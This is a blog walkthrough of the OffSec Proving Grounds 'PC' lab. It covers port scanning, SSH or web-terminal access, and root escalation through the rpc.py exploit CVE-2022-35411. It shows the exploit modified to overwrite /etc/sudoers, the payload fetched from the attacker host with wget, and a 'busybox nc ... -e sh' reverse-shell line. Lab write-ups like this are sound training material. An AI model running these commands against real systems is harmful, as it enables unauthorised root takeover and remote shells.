Skip to main content
  1. Posts/

OFFSEC - Proving Grounds - PC

·1370 words·7 mins·
OSCP OFFSEC PG PRACTICE RPC
Table of Contents

Summary
#

Initial access through SSH or a terminal in the browser on port 8000. Privilege escalation through an RPC server running as root with a Python exploit script (CVE-2022-35411) to get root access.

Specifications
#

  • Name: PC
  • Platform: PG PRACTICE
  • Points: 10
  • Difficulty: Intermediate
  • System overview: Linux pc 5.4.0-156-generic #173-Ubuntu SMP Tue Jul 11 07:25:22 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
  • IP address: 192.168.151.210
  • OFFSEC provided credentials: user:GuestFastSpeed999
  • HASH: local.txt: None
  • HASH: proof.txt:d0b3f991288e8d9000d97f16972b4024

Preparation
#

First we’ll create a directory structure for our files, set the IP address to a bash variable and ping the target:

## create directory structure
mkdir pc && cd pc && mkdir enum files exploits uploads tools

## list directory
ls -la

total 28
drwxrwxr-x  7 kali kali 4096 Jul 20 13:33 .
drwxrwxr-x 10 kali kali 4096 Jul 20 13:33 ..
drwxrwxr-x  2 kali kali 4096 Jul 20 13:33 enum
drwxrwxr-x  2 kali kali 4096 Jul 20 13:33 exploits
drwxrwxr-x  2 kali kali 4096 Jul 20 13:33 files
drwxrwxr-x  2 kali kali 4096 Jul 20 13:33 tools
drwxrwxr-x  2 kali kali 4096 Jul 20 13:33 uploads

## set bash variable
ip=192.168.151.210

## ping target to check if it's online
ping $ip
                
PING 192.168.151.210 (192.168.151.210) 56(84) bytes of data.
64 bytes from 192.168.151.210: icmp_seq=1 ttl=61 time=19.3 ms
64 bytes from 192.168.151.210: icmp_seq=2 ttl=61 time=18.2 ms
^C
--- 192.168.151.210 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1002ms
rtt min/avg/max/mdev = 18.205/18.740/19.275/0.535 ms

Reconnaissance
#

Portscanning
#

Using Rustscan we can see what TCP ports are open. This tool is part of my default portscan flow.

## run the rustscan tool
sudo rustscan -a $ip | tee enum/rustscan

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Port scanning: Because every port has a story to tell.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.151.210:22
Open 192.168.151.210:8000
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-20 13:34 CEST
Initiating Ping Scan at 13:34
Scanning 192.168.151.210 [4 ports]
Completed Ping Scan at 13:34, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 13:34
Completed Parallel DNS resolution of 1 host. at 13:34, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 13:34
Scanning 192.168.151.210 [2 ports]
Discovered open port 22/tcp on 192.168.151.210
Discovered open port 8000/tcp on 192.168.151.210
Completed SYN Stealth Scan at 13:34, 0.05s elapsed (2 total ports)
Nmap scan report for 192.168.151.210
Host is up, received echo-reply ttl 61 (0.017s latency).
Scanned at 2025-07-20 13:34:58 CEST for 0s

PORT     STATE SERVICE  REASON
22/tcp   open  ssh      syn-ack ttl 61
8000/tcp open  http-alt syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

Copy the output of open ports into a file called ports within the files directory.

## edit the ``files/ports` file
nano files/ports

## content `ports` file:
22/tcp   open  ssh      syn-ack ttl 61
8000/tcp open  http-alt syn-ack ttl 61

Run the following command to get a string of all open ports and use the output of this command to paste within NMAP:

## change directory
cd files  

## get a list, comma separated of the open port(s)
cat ports | cut -d '/' -f1 > ports.txt && awk '{printf "%s,",$0;n++}' ports.txt | sed 's/.$//' > ports && rm ports.txt && cat ports

## output previous command
22,8000

## move one up
cd ..

## use this output in the `nmap` command below:
sudo nmap -T3 -p 22,8000 -sCV -vv $ip -oN enum/nmap-services-tcp

Output of NMAP:

PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFR/u8yZrrxkDWw/8gy/fNFksvT+QIL8O/6eD8zVxwKwgBURa9uRtOC8Dk6P+ktLwXJ9oSUitZeXVWjijbehpZBVHvywEOj9nc0bmk0+M/DGGbr1etS7cDvRzRATUtMPxQfYhzXqHlZe6Q2GfA0c75uybUXxOha8CTdK0Iv/maUUaiaPv3LGebQ4CpNaXNQfYVpCdsxLn5MxFi+tfenn/4CinBPn1Ahnx499V1G0ANTaKLsEETjqaMd5jnmml2wH1GmKfKf/6FevWv0Q9Ylsi3x/ipkDpcQAMRQ/aw5NuSSDrGTdo0wRuuoEf5Ybenp9haPVxUAPHbEcMI2hdcP5B3Cd03qimMhHEkFXE8sTUxRKHG+hg7cF8On1EXZsH1fsVyrFAAoHRrap5CsubmNXT93EcK7lc65DbKgeqls643x0p/4WOUiLXFstm6X4JCdEyhvWmnYtL3qDKMuQbCwrCJGeDjoaZTjHXbpjSxSnvtO04RT84x2t8MThyeYO3kSyM=
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNBWjceIJ9NSOLk8zk68zCychWoLxrcrsuJYy2C1pvpfOhVBrr8QBhYbJxzzGJ7DpuMT/DXiCwuLXdu0zeR4/Dk=
|   256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3LJwn9us7wxvkL0E6EEgOPG3P0fa0fRVuJuXeASZvs
8000/tcp open  http    syn-ack ttl 61 ttyd 1.7.3-a2312cb (libwebsockets 3.2.0)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: ttyd/1.7.3-a2312cb (libwebsockets/3.2.0)
|_http-title: ttyd - Terminal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Initial Access
#

Initial Access: path 1
#

22/tcp   open  ssh     syn-ack ttl 61 OpenSSH 8.2p1 Ubuntu 4ubuntu0.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDFR/u8yZrrxkDWw/8gy/fNFksvT+QIL8O/6eD8zVxwKwgBURa9uRtOC8Dk6P+ktLwXJ9oSUitZeXVWjijbehpZBVHvywEOj9nc0bmk0+M/DGGbr1etS7cDvRzRATUtMPxQfYhzXqHlZe6Q2GfA0c75uybUXxOha8CTdK0Iv/maUUaiaPv3LGebQ4CpNaXNQfYVpCdsxLn5MxFi+tfenn/4CinBPn1Ahnx499V1G0ANTaKLsEETjqaMd5jnmml2wH1GmKfKf/6FevWv0Q9Ylsi3x/ipkDpcQAMRQ/aw5NuSSDrGTdo0wRuuoEf5Ybenp9haPVxUAPHbEcMI2hdcP5B3Cd03qimMhHEkFXE8sTUxRKHG+hg7cF8On1EXZsH1fsVyrFAAoHRrap5CsubmNXT93EcK7lc65DbKgeqls643x0p/4WOUiLXFstm6X4JCdEyhvWmnYtL3qDKMuQbCwrCJGeDjoaZTjHXbpjSxSnvtO04RT84x2t8MThyeYO3kSyM=
|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNBWjceIJ9NSOLk8zk68zCychWoLxrcrsuJYy2C1pvpfOhVBrr8QBhYbJxzzGJ7DpuMT/DXiCwuLXdu0zeR4/Dk=
|   256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG3LJwn9us7wxvkL0E6EEgOPG3P0fa0fRVuJuXeASZvs

Because we got credentials from OFFSEC we first try to login using SSH on TCP port 22.

## login to target using SSH and provided credentials
ssh user@$ip       

user@pc:~$ 

Initial Access: path 2
#

8000/tcp open  http    syn-ack ttl 61 ttyd 1.7.3-a2312cb (libwebsockets 3.2.0)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: ttyd/1.7.3-a2312cb (libwebsockets/3.2.0)
|_http-title: ttyd - Terminal
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

When we go to port 8000 in the browser we also get initial access.

Privilege Escalation
#

When we look at the running processes (with --forest (ascii art process tree)) there is a python script run from /opt/rpc.py. Within this file a RPC server is setup running on port 65432. We can verify this using netstat and indeed this port is listening.

## list running processes i
ps -ef --forest

<SNIP>
root         860       1  0 11:30 ?        00:00:00 /usr/bin/python3 /usr/bin/supervisord -n -c /etc/supervisor/supe
root        1040     860  0 11:30 ?        00:00:03  \_ python3 /opt/rpc.py
<SNIP>

## print `/opt/rpc.py`
cat /opt/rpc.py

<SNIP>
if __name__ == "__main__":
    uvicorn.run(app, interface="asgi3", port=65432)
<SNIP>

## list ports, grep for portnumber 65432
user@pc:/opt$ netstat -antup | grep 65432
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 127.0.0.1:65432         0.0.0.0:*               LISTEN      -   

Within the /opt/rpc.py RPC is imported from rpcpy. When looking on the internet for an existing exploit, we can find: https://www.exploit-db.com/exploits/50983 (CVE-2022-35411). We could also find this exploit using searchsploit and mirror it locally and edit it to execute a command to add the user user to sudo.

## change directory
cd exploits

## use searchsploit to find exploit 
searchsploit rpc.py                 

---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                    |  Path
---------------------------------------------------------------------------------- ---------------------------------
rpc.py 0.6.0 - Remote Code Execution (RCE)                                        | python/remote/50983.py
---------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results

## mirror the exploit locally
searchsploit -m python/remote/50983.py

  Exploit: rpc.py 0.6.0 - Remote Code Execution (RCE)
      URL: https://www.exploit-db.com/exploits/50983
     Path: /usr/share/exploitdb/exploits/python/remote/50983.py
    Codes: CVE-2022-35411
 Verified: False
File Type: Python script, ASCII text executable

## edit the exploit
python/remote/50983.py

## change in this file the following
def main():
    #exec_command('curl http://127.0.0.1:4321')
    exec_command('echo "user ALL=(root) NOPASSWD: ALL" > /etc/sudoers')

Upload the python script to the target

## get local IP address on tun0
ip a

4: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 500
    link/none 
    inet 192.168.45.195/24 scope global tun0
       valid_lft forever preferred_lft forever
    inet6 fe80::a2a3:f1a4:cb78:b94a/64 scope link stable-privacy proto kernel_ll 
       valid_lft forever preferred_lft forever

## start a local webserver
python3 -m http.server 80

## on target, download the exploit
user@pc:~$ wget http://192.168.45.195/50983.py

## set the execution bit
user@pc:~$ chmod +x 50983.py 

## run the exploit
user@pc:~$ python3 ./50983.py 

b'\x80\x04\x95N\x00\x00\x00\x00\x00\x00\x00\x8c\x05posix\x94\x8c\x06system\x94\x93\x94\x8c3echo "user ALL=(root) NOPASSWD: ALL" > /etc/sudoers\x94\x85\x94R\x94.'

## list sudo
user@pc:~$ sudo -l

User user may run the following commands on pc:
    (root) NOPASSWD: ALL

## use sudo and switch user to the `root` user
user@pc:~$ sudo su -
root@pc:~# whoami
root

## print `/root/proof.txt`
root@pc:~# cat /root/proof.txt
d0b3f991288e8d9000d97f16972b4024

You can also ex. setup a listener on port 80 and add the following command in the exploit file to get a reverse shell as the root user.

## command to get a reverse shell on port 80 on local listener
exec_command('busybox nc 192.168.45.195 80 -e sh')

References
#

[+] https://www.exploit-db.com/exploits/50983

Related

OFFSEC - Proving Grounds - EXFILTRATED
·2598 words·13 mins
OSCP OFFSEC PG PRACTICE SUBRION CMS PWNKIT EXIFTOOL
SSH or Subrion CMS 4.2.1 file upload for access. Run linpeas to find CVE-2021-4034 (PwnKit) & cronjob with exiftool (CVE-2021-22204) for root.
OFFSEC - Proving Grounds - LEVRAM
·1982 words·10 mins
OSCP OFFSEC PG PRACTICE GERAPY
Port 8000 redirects to GERAPY v0.9.7 login. Use default credentials for access. Auth RCE grants initial access. /usr/bin/python3.10 with cap_setuid=ep gives root.
OFFSEC - Proving Grounds - COCKPIT
·1370 words·7 mins
OSCP OFFSEC PG PRACTICE TAR GOBUSTER
SQL inject login to get admin & additional creds. Use credentials in Ubuntu Web Console. Exploit sudo tar wildcard to escalate to root.
OFFSEC - Proving Grounds - PELICAN
·2073 words·10 mins
OSCP OFFSEC PG PRACTICE GCORE
Exploitable Exhibitor for ZooKeeper on port 8080. Initial access user has gcore sudo privileges, can dump password-store process to reveal root credentials.
OFFSEC - Proving Grounds - NUKEM
·2010 words·10 mins
OFFSEC PG PRACTICE WORDPRESS DOSBOX
Access target via SSH or exploit WordPress with wpscan using simple-file-list vuln. Get http user, find commander creds in wp-config.php, use SUID dosbox for root.
OFFSEC - Proving Grounds - ZINO
·2524 words·12 mins
OFFSEC PG PRACTICE NXC SMB SMBCLIENT
Access server with SMB file and use a Python exploit for PHP webshell in Booked Scheduler. Escalate to root via cronjob.